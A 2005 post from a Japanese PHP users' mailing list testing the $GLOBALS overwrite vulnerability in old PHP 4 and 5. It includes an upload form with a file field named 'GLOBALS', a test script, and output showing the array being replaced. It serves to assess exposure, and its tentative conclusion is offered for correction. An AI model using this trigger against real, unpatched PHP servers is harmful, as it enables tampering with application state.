[PHP-users 27344] Re: PHP4.4.0以下、PHP5.0.5以下に「重大」な脆弱性
Seiji Masugata
s.masugata @ digicom.dnp.co.jp
2005年 11月 2日 (水) 20:36:39 JST
こんんちわ、桝形です。
> 逆に言うとグローバル変数に一切依存しないスクリプトのみで運用しているサーバは
> 今回の脆弱性の影響は受けないという事になるんですかね。
そうなのかなぁ。。。と思います。
以下のスクリプトで実験してみました(register_globals=off)。
長いので、ごめんなさい。
globals.html:
--------------------------------------------------------------
<html>
<body>
<form enctype="multipart/form-data" action="globals.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="30000" />
Send this file: <input name="GLOBALS" type="file" />
<input type="submit" value="Send File" />
</form>
</body>
</html>
--------------------------------------------------------------
globals.php:
--------------------------------------------------------------
<pre>
<?php
function hoge( )
{
global $name;
global $type;
global $tmp_name;
global $error;
global $size;
echo $name."\n";
echo $type."\n";
echo $tmp_name."\n";
echo $error."\n";
echo $size."\n"; // ココと
}
echo "-------------------------------------------------\n";
echo PHP_VERSION."\n";
$name = 1;
$type = 1;
$tmp_name = 1;
$error = 1;
$size = 1;
echo $name."\n";
echo $type."\n";
echo $tmp_name."\n";
echo $error."\n";
echo $size."\n"; // ココと
echo "-------------------------------------------------\n";
echo "!!!!!!!!!".$GLOBALS["size"]."\n"; // ココと
$GLOBALS["size"] = "wahaha";
echo "!!!!!!!!!".$GLOBALS["size"]."\n"; // ココと
print_r( $GLOBALS );
import_request_variables( "GPC" );
echo "-------------------------------------------------\n";
echo "!!!!!!!!!".$GLOBALS["size"]."\n"; // ココと
print_r( $GLOBALS ); // ココを抜粋
echo "-------------------------------------------------\n";
hoge( );
echo "-------------------------------------------------\n";
?>
</pre>
--------------------------------------------------------------
結果:
--------------------------------------------------------------
1
!!!!!!!!!1
!!!!!!!!!wahaha
!!!!!!!!!1578
Array
(
[name] => hoge.txt
[type] => text/plain
[tmp_name] => /tmp/phpCs5rZT
[error] => 0
[size] => 1578
)
wahaha
--------------------------------------------------------------
確認:PHP4.3.3〜PHP4.3.11
確かに$GLOBALS配列ががすり替わっているのは確認できたのですが
グローバル宣言している変数は書き換わっていないようでした。
どうやって値を保持しているのか気になるトコロではありますが。
この結果を見る限り、(register_globals=offを前提で)プログラム
中で$GLOBALS配列を使っていない限り、影響は受けないのかなぁ。。。
という気も。間違っていたら、是非とも指摘して頂きたく。:)
--
Seiji Masugata <s.masugata @ digicom.dnp.co.jp>
PHP-users メーリングリストの案内